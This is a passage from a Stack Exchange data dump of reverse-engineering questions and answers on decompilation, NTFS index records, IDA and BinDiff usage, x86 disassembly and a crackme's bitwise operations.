intermediate representation as part of the translation process. The main reason is that an IR can be both language- and architecture-independent while at the same time preserving the information encoded in the source language. This aspect of IR completely eliminates the need for the equivalent of a universal assembly language-to-pseudocode translator. The binary to CFG to IR approach is vastly superior and well established.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PnWnp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PnWnp.png&quot; alt=&quot;IR vs compiler-per-architecture-per-language approach&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://www.cs.princeton.edu/courses/archive/spr03/cs320/notes/IR-trans1.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Princeton CS320 Intermediate Representation lecture notes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Responses to assorted comments&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It appears that what I need is an implementation of the basic DREAM decompilation algorithm; I was unable to find a straightforward implementation that takes a CFG in a text format as input.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No such implementation exists. As discussed previously, DREAM constructs a CFG from parsed object code contained in a binary file. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I already have my own disassembler. Using a tool that takes binary as input would be a waste of effort.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A tool that takes object code as input and produces assembly language ASCII text as output is irrelevant with respect to decompilation. Reinventing the wheel would be a waste of effort. Incidentally, all of the aforementioned decompilers take binary files as input.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My point is that reconstructing control flow structures is virtually independent on the architecture. I could bring the input one step higher: If one has a graph of opaque basic blocks connected by &quot;if (condition) goto&quot; and &quot;goto&quot;, it should be possible to restore the original if-then-else statements and loops, and a tool that could do it won't need any disassembler capability&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;CFGs are generated via object code analysis in order to preserve as much information as possible. More preserved information = more accurate decompilation. Object code format depends directly on the architecture.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;1. &lt;a href=&quot;https://yurichev.com/mirrors/DCC_decompilation_thesis.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Compilation Techniques&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;2. &lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_schwartz.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-07-19T03:24:56.937" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="15858" PostTypeId="2" ParentId="15820" CreationDate="2017-07-19T03:35:27.297" Score="0" Body="&lt;p&gt;the c++ code is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMachine *__thiscall CMachine::CMachine(CMachine&#xA;*this)&#xA;{&#xA;CDataStoreObject::CDataStoreObject(&amp;amp;this-&amp;gt;_);&#xA;this-&amp;gt;dword24 = 0;&#xA;this-&amp;gt;dword28 = -1;&#xA;this-&amp;gt;dword2C = 0;&#xA;this-&amp;gt;dword30 = -1;&#xA;this-&amp;gt;_._vtable = (CMachine_vtable&#xA;*)&amp;amp;CMachine::_vftable_;&#xA;return this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the class CMachine has a member or a super class CDataStoreObject.&#xA;the assigning of those fields should/could be the members of class CDataStoreObject. or for alignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;compiler optimization in details might looks odd seeing from machine code.&#xA;it depends on the optimization level and compiler type/version.&lt;/p&gt;&#xA;" OwnerUserId="6941" LastEditorUserId="6941" LastEditDate="2017-07-19T03:45:17.733" LastActivityDate="2017-07-19T03:45:17.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15859" PostTypeId="2" ParentId="15828" CreationDate="2017-07-19T05:22:04.517" Score="0" Body="&lt;p&gt;I'm going to represent my abstract assembly code as a C program with basic blocks as externally defined procedures, variables in conditions as externally defined functions, etc. compile it to an optimized x86 binary, then pass it through an existing x86 decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an example from the question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern void blob1(), blob2(), blob3(), blob4(), blob5(), blob6();&#xA;extern int A(), B(), C(), D(), E(), F();&#xA;main() {&#xA;    blob1();&#xA;    if (A() &amp;lt; B()) goto L1;&#xA;    blob2();&#xA;    if (C() == D()) goto L2;&#xA;L1: blob3();&#xA;    if (E() &amp;gt; F()) goto L3;&#xA;L2: blob4();&#xA;    goto L4;&#xA;L3: blob5();&#xA;L4: blob6();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://retdec.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;decompiler&lt;/a&gt; produces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_blob1();&#xA;int32_t v2 = _A();&#xA;int32_t v3;&#xA;if (v2 &amp;lt; _B()) {&#xA;    _blob3();&#xA;    v3 = _E();&#xA;    if (v3 &amp;gt; _F()) {&#xA;        _blob5();&#xA;        _blob6();&#xA;        return 0;&#xA;    }&#xA;    _blob4();&#xA;    _blob6();&#xA;    return 0;&#xA;}&#xA;_blob2();&#xA;int32_t v4 = _C();&#xA;if (v4 != _D()) {&#xA;    _blob3();&#xA;    v3 = _E();&#xA;    if (v3 &amp;gt; _F()) {&#xA;        _blob5();&#xA;        _blob6();&#xA;        return 0;&#xA;    }&#xA;}&#xA;_blob4();&#xA;_blob6();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's not perfect, but it will do.&lt;/p&gt;&#xA;" OwnerUserId="18386" LastActivityDate="2017-07-19T05:22:04.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15860" PostTypeId="1" AcceptedAnswerId="15891" CreationDate="2017-07-19T10:47:09.080" Score="2" ViewCount="470" Body="&lt;p&gt;While parsing my NTFS formatted hard disk, I found some invalid entries of INDX while Windows is still able to list all the root directory contents!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure of the Index Record in &lt;em&gt;NTFS 3.1&lt;/em&gt; is clear (&lt;a href=&quot;http://dubeyko.com/development/FileSystems/NTFS/ntfsdoc.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;NTFS doc&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset      Description&#xA;-------------------------------------&#xA;0x00        MFT Reference of the file&#xA;0x08        Size of the index entry&#xA;0x0A        Offset to the filename&#xA;...&#xA;0x52        Filename&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I found some entries where their size is faulty as well as their MFT Reference (which is a bunch of zeros)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enclose a screenshot that shows a part of INDX along side with their text representations where each line is of width &lt;code&gt;0x20&lt;/code&gt;. I highlighted the faulty part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uVaMQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uVaMQ.png&quot; alt=&quot;The invalid entries of INDX&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The figure shows that entries were parsed rationally until the last correct entry at &lt;code&gt;0x0628&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MFT Reference (8 bytes): &lt;code&gt;66 30 00 00 00 00 01 00&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Size of entry (2 bytes): &lt;code&gt;70 00&lt;/code&gt;&#xA;So the entry ends at &lt;code&gt;0x0697&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thereafter, things got weird! Entries at &lt;code&gt;0x0698&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MFT Reference (8 bytes): &lt;code&gt;00 00 00 00 00 00 00 00&lt;/code&gt; Seems invalid&lt;/li&gt;&#xA;&lt;li&gt;Size of entry (2 bytes): &lt;code&gt;10 00&lt;/code&gt; Of course invalid because the size is less than the entry structure minimum size that includes the filename at &lt;code&gt;0x52&lt;/code&gt; for instance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For me, it seems that &quot;Buziol Games&quot; was a deleted folder on the root directory of the harddisk, I am not sure. Anyway, Windows explorer is not facing troubles on listing the contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do anybody understand how does it work? How do Windows continue parsing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: In addition, please find the hex dump as a pure text on &lt;a href=&quot;https://pastebin.com/kksNZQ5t&quot; rel=&quot;nofollow noreferrer&quot;&gt;pastebin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20701" LastEditorUserId="20701" LastEditDate="2017-07-21T20:19:53.197" LastActivityDate="2017-07-22T11:11:04.740" Title="Invalid INDX entries for $I30 on NTFS harddisk" Tags="|windows|hex|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="15861" PostTypeId="1" CreationDate="2017-07-19T12:45:16.953" Score="1" ViewCount="3028" Body="&lt;p&gt;I'm using BinDiff to perform diff operation between two 32-bit Binaries (one of them is a DLL and the other one an EXE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I perform the Diff Operation, I get the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Adding new Diff to workspace failed. Diff binary does not exist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am using IDA Pro version 6.9.160222 and BinDiff version 4.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened each of the binaries with IDA Pro and saved the IDB file.&#xA;BinDiff was launched using bindiff.cmd (which in turn launches the bindiff.jar)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the GUI, I created a New Work Space and then from the menu, Diffs -&gt; New Diff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Primary and Secondary source, I selected the IDB files corresponding to each of the binaries. Now, when I press Diff, it gives the error message: &quot;Adding new Diff to workspace failed. Diff binary does not exist.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it not able to locate the Diff Binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both differ.exe and differ64.exe are present in the same directory as bindiff.jar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option I tried was in IDA Pro, instead of saving the IDA, I used the BinExport plugin to save the BinExport Files. Even when BinDiff uses the BinExport files saved from IDA Pro, I get the same error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS Version is: Win 7 64-bit.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="245" LastEditDate="2018-06-19T12:08:07.277" LastActivityDate="2018-06-19T12:08:07.277" Title="BinDiff says Diff Binary does not exist" Tags="|ida|bin-diffing|tool-bindiff|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15863" PostTypeId="1" AcceptedAnswerId="15875" CreationDate="2017-07-19T19:06:15.130" Score="1" ViewCount="1586" Body="&lt;p&gt;OK, so I know this is path is not recommended but it is a situation I have been forced into. I have a tool not created by me which takes the exported asm file from IDA and processes the exported assembly from IDA. However, it seems as though the assembly that IDA exports has changed since the tool was created. When I export an assembly listing from one of my IDA databases using the &quot;Produce file -&gt; Create ASM file&quot; option, the resulting assembly listing does not include addresses for every instruction but the tool I am using has hardcoded the assembly listing format that it receives from IDA and throws exceptions because addresses are not at the start of every instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to turn this feature on? What controls the format of the assembly listing that IDA exports? &lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2017-07-21T12:22:14.410" Title="Changing the format of IDA's Produce file -&gt; Create ASM file" Tags="|ida|disassembly|file-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15864" PostTypeId="2" ParentId="12404" CreationDate="2017-07-19T19:12:06.733" Score="1" Body="&lt;p&gt;typedef class INDEX&amp;lt;6&gt; INS; is defined in types_core.TLH (types not type). The following code works for me to disassamble at analysis time. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void disasmIns(ADDRINT tid, ADDRINT insarg)&#xA;{&#xA;  INS ins;&#xA;  ins.q_set(insarg);&#xA;  std::cout &amp;lt;&amp;lt; &quot;Disassembly: &quot; &amp;lt;&amp;lt; INS_Disassemble(ins) &amp;lt;&amp;lt; std::endl;&#xA;}&#xA;&#xA;VOID Instruction(INS ins, VOID *v) {&#xA;  INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)disasmIns, &#xA;  IARG_FAST_ANALYSIS_CALL, IARG_ADDRINT, ins.q(), IARG_END);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20936" LastActivityDate="2017-07-19T19:12:06.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15865" PostTypeId="2" ParentId="13886" CreationDate="2017-07-19T21:13:21.153" Score="1" Body="&lt;p&gt;DTD Calculator (&lt;a href=&quot;http://www.avsforum.com/forum/26-home-theater-computers/947830-custom-resolution-tool-intel-graphics-easier-overscan-correction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.avsforum.com/forum/26-home-theater-computers/947830-custom-resolution-tool-intel-graphics-easier-overscan-correction.html&lt;/a&gt;) did the job for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using it I was able to create valid EDIDs and add them to by modifying [NonEDIDMode_AddSwSettings] category in the said inf file(simply modify total number of DTD and add your EDID, do not forget to add 2 Bytes of flags 37 01). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need further step by step instructions or detailed explanations of fields please do check &lt;a href=&quot;https://software.intel.com/en-us/articles/custom-resolutions-on-intel-graphics&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://software.intel.com/en-us/articles/custom-resolutions-on-intel-graphics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can try your luck with registry hack option of the DTD calculator, as well, did not work for me though.&lt;/p&gt;&#xA;" OwnerUserId="18040" LastEditorUserId="18040" LastEditDate="2017-07-19T21:23:40.373" LastActivityDate="2017-07-19T21:23:40.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15868" PostTypeId="2" ParentId="4624" CreationDate="2017-07-20T15:00:14.257" Score="12" Body="&lt;p&gt;Use android-ndk, &lt;a href=&quot;https://developer.android.com/ndk/downloads/index.html&quot; rel=&quot;noreferrer&quot;&gt;https://developer.android.com/ndk/downloads/index.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the toolchains inside the ndk to perform the type of disassembling you want to. For e.g. if I decompile an apk and get a .so library out of it, I will do :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./android-ndk-r15b/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin/arm-linux-androideabi-objdump -T &quot;SAMPLE.so | less&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get an &lt;code&gt;objdump&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="20944" LastActivityDate="2017-07-20T15:00:14.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15869" PostTypeId="2" ParentId="15863" CreationDate="2017-07-20T18:08:04.420" Score="1" Body="&lt;p&gt;The answer, according to IDA support, is that there is no way to change the format of this menu option. However, there is a small amount of customization you can achieve using the IDA API function GenerateFile: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/244.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/244.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2017-07-20T18:08:04.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15870" PostTypeId="1" CreationDate="2017-07-20T20:19:44.507" Score="3" ViewCount="656" Body="&lt;p&gt;I am currently examining a xamarin application. It has used the &quot;ahead of time compilation&quot; feature, which has left some of the associated .net assemblies (.dlls) as lists of function signatures without their implementations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my understanding that the implementation data is stored in the AOTDATA files. However, the files appear to have no useful strings to work off of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I match the functions in the .net assemblies to the data in the AOTDATA files? How can I reverse engineer useable code out of the AOTDATA files? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my hope that there is an existing tool which is capable of it, but I cannot dig up anything about the structure of the files so far. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="266" LastEditDate="2019-07-23T16:39:32.043" LastActivityDate="2019-07-23T16:39:32.043" Title="Is there an existing tool to reverse engineer Xamarin AOTDATA files?" Tags="|disassembly|tools|ios|.net|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15872" PostTypeId="1" CreationDate="2017-07-21T06:40:27.090" Score="0" ViewCount="306" Body="&lt;p&gt;I wonder how to link theses instructions (down to register details) to the original C code. Where are the variables (whether they are local variables, global variables, static variables, or parameters for a function), and what are the size of the variables (when applicable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     DWORD PTR [ebp-0x4], 0x8    //DWORD PTR [ebp-0x4]-Global variable&#xA;mov     eax, DWORD PTR [ebp+0x8]    // DWORD PTR [ebp+0x8]  global V&#xA;lea     eax, [ecx + eax*1]&#xA;call    _htons&#xA;cmp     [ebp+0x8], 0&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my C-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int my_global_var ;&#xA;&#xA;int main() { &#xA;    i = 8;&#xA;    my_global_var = htons(i);    &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20947" LastEditorUserId="53" LastEditDate="2017-07-21T08:46:06.550" LastActivityDate="2017-07-21T09:14:53.380" Title="Link between C and x86 asm" Tags="|assembly|x86|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15873" PostTypeId="1" AcceptedAnswerId="15881" CreationDate="2017-07-21T07:11:03.847" Score="4" ViewCount="2478" Body="&lt;p&gt;I'm trying to write a keygen to a crack me that I'm learning from and I got stuck. What happens there is pretty simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that I entered the password: &quot;12121212&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XOR DWORD PTR DS:[ECX+EAX],1234567&#xA;AND BYTE PTR DS:[ECX+EAX],0E&#xA;ADD ECX,4&#xA;CMP ECX,8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, the first &lt;code&gt;DWORD&lt;/code&gt; of the password (&lt;code&gt;0x32313231&lt;/code&gt;, &lt;em&gt;notice that x86 processors use&lt;/em&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;little-endian layout&lt;/em&gt;&lt;/a&gt;) is being &lt;code&gt;XORed&lt;/code&gt; with &lt;code&gt;0x1234567&lt;/code&gt; so &lt;code&gt;0x32313231 ^ 0x1234567&lt;/code&gt; results with &lt;code&gt;0x56771233&lt;/code&gt;.&#xA;Then there is an &lt;code&gt;AND&lt;/code&gt; operation on the first byte (&lt;code&gt;0x56&lt;/code&gt;) of the manipulated password and &lt;code&gt;0xe&lt;/code&gt; which results with &lt;code&gt;0x6&lt;/code&gt;. After that, the program repeats the operations, this time on the second &lt;code&gt;DWORD&lt;/code&gt; of the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: I know I can reverse &lt;code&gt;XOR&lt;/code&gt; but is it possible with &lt;code&gt;AND&lt;/code&gt; operation?&lt;/p&gt;&#xA;" OwnerUserId="19849" LastEditorUserId="18698" LastEditDate="2017-07-21T14:08:14.987" LastActivityDate="2017-07-21T16:19:59.560" Title="Inverse And operation" Tags="|disassembly|assembly|c|patch-reversing|xor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15874" PostTypeId="2" ParentId="15872" CreationDate="2017-07-21T08:25:26.227" Score="5" Body="&lt;p&gt;&lt;strong&gt;i=8;&lt;/strong&gt; this is local to your function main&lt;br&gt;&#xA;this &lt;strong&gt;i&lt;/strong&gt; is referenced in the disassembled instruction &lt;strong&gt;a&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a) mov     DWORD PTR [ebp-0x4], 0x8  &amp;lt;-- i local variable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instruction &lt;strong&gt;b&lt;/strong&gt; references &lt;strong&gt;my_global_var&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b) mov     eax, DWORD PTR [ebp+0x8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside a normal function scope all address below ebp (ebp-4,ebp-8,ebp-100) etc are local variable access    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;all address above ebp (ebp+8 , ebp+1c , ebp + 256) etc access either the arguments that were passed to the function or other global variables that are visible outside the function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ecx as posted is undefined  and you probably didnt paste a push instruction&#xA;also &lt;strong&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms738557(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;_htons()&lt;/a&gt;&lt;/strong&gt; takes a u_short not an int &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;u_short WSAAPI htons(&#xA;  _In_ u_short hostshort&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should post a proper query with code or disassembly  that is reproducible trivially by anyone for getting a proper answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code that would compile and produce a result would look like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma comment(lib,&quot;ws2_32.lib&quot;)&#xA;&#xA;int my_global_var ;&#xA;&#xA;int main()&#xA;{ &#xA;    u_short i = 8;&#xA;    my_global_var = htons(i); &#xA;    printf(&quot;%d\n&quot; , my_global_var);    &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should always compile with maximum warnings possible and possibly let the compiler do code analysis if possible to reduce defects &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are using visual studio you should replicate this command line or &#xA;use the appropriate settings that reflects these switches in your project &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /Od /W4 /analyze:log foo.txt htons.cpp /link /RELEASE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;strong&gt;W4&lt;/strong&gt; enables the highest levels of warning &#xA;the /analyze:log foo.txt does a code analysis and shows what possible &#xA;defects you have in your code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat foo.txt&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;DEFECTS&amp;gt;&amp;lt;/DEFECTS&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and executed this should produce &lt;strong&gt;2048 or 0x800&lt;/strong&gt; as result &lt;/p&gt;&#xA;&#xA;&lt;p&gt;_htons basically does this operation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ?? 8 &amp;lt;&amp;lt; 0x8 | 8 &amp;gt;&amp;gt; 0x8&#xA;int 0x800&#xA;0:000&amp;gt; .enable_long_status 0&#xA;0:000&amp;gt; ?? 8 &amp;lt;&amp;lt; 0x8 | 8 &amp;gt;&amp;gt; 0x8&#xA;int 0n2048&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the relevent disassembly the scope and contents of local / global vars would be as below &lt;/p&gt;&#xA;&#xA;&lt;p&gt;current src line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; lsa .&#xA;     6: &#xA;     7: int main()&#xA;     8: { &#xA;     9:     u_short i = 8;&#xA;&amp;gt;   10:     my_global_var = htons(i); &#xA;    11:     printf(&quot;%d\n&quot; , my_global_var);    &#xA;    12: } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly of the function main&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf .&#xA;htons!main [c:\xxx\htons.cpp @ 8]:&#xA;    8 00861000 55              push    ebp&#xA;    8 00861001 8bec            mov     ebp,esp&#xA;    8 00861003 51              push    ecx&#xA;    9 00861004 b808000000      mov     eax,8&#xA;    9 00861009 668945fc        mov     word ptr [ebp-4],ax&#xA;   10 0086100d 0fb74dfc        movzx   ecx,word ptr [ebp-4]&#xA;   10 00861011 51              push    ecx&#xA;   10 00861012 e8b9000000      call    htons!htons (008610d0)&#xA;   10 00861017 0fb7d0          movzx   edx,ax&#xA;   10 0086101a 891578488a00    mov     dword ptr [htons!my_global_var (008a4878)],edx&#xA;   11 00861020 a178488a00      mov     eax,dword ptr [htons!my_global_var (008a4878)]&#xA;   11 00861025 50              push    eax&#xA;   11 00861026 68b0b18900      push    offset htons!__xt_z+0x10 (0089b1b0)&#xA;   11 0086102b e860000000      call    htons!printf (00861090)&#xA;   11 00861030 83c408          add     esp,8&#xA;   12 00861033 33c0            xor     eax,eax&#xA;   12 00861035 8be5            mov     esp,ebp&#xA;   12 00861037 5d              pop     ebp&#xA;   12 00861038 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;local i&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dv /v /t&#xA;0016fc10          unsigned short i = 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;global &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt /v /t my_global_var&#xA;Got address 008a4878 for symbol&#xA;htons!my_global_var&#xA;0n0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-07-21T09:14:53.380" LastActivityDate="2017-07-21T09:14:53.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15875" PostTypeId="2" ParentId="15863" CreationDate="2017-07-21T12:22:14.410" Score="2" Body="&lt;p&gt;To get addresses in the output, you should use &lt;code&gt;LST&lt;/code&gt; option instead of &lt;code&gt;ASM&lt;/code&gt;. &lt;code&gt;.asm&lt;/code&gt; files are intended to be input for an assembler (in theory, in practice it &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3800/&quot;&gt;rarely works&lt;/a&gt;) which will assign addresses to labels as necessary, so there is no need to print addresses in the &lt;code&gt;ASM&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-21T12:22:14.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15876" PostTypeId="2" ParentId="15873" CreationDate="2017-07-21T13:52:08.630" Score="5" Body="&lt;p&gt;The answer is &lt;strong&gt;no&lt;/strong&gt;. Unlike bitwise &lt;code&gt;XOR&lt;/code&gt;, bitwise &lt;code&gt;AND&lt;/code&gt; can't be reversed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 &amp;amp; 1 = 0&#xA;0 &amp;amp; 0 = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both &lt;code&gt;AND&lt;/code&gt; and &lt;code&gt;OR&lt;/code&gt; are not reversible. This is in contrast to &lt;code&gt;XOR&lt;/code&gt; and &lt;code&gt;NOT&lt;/code&gt; operators which are reversible.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-07-21T13:52:08.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
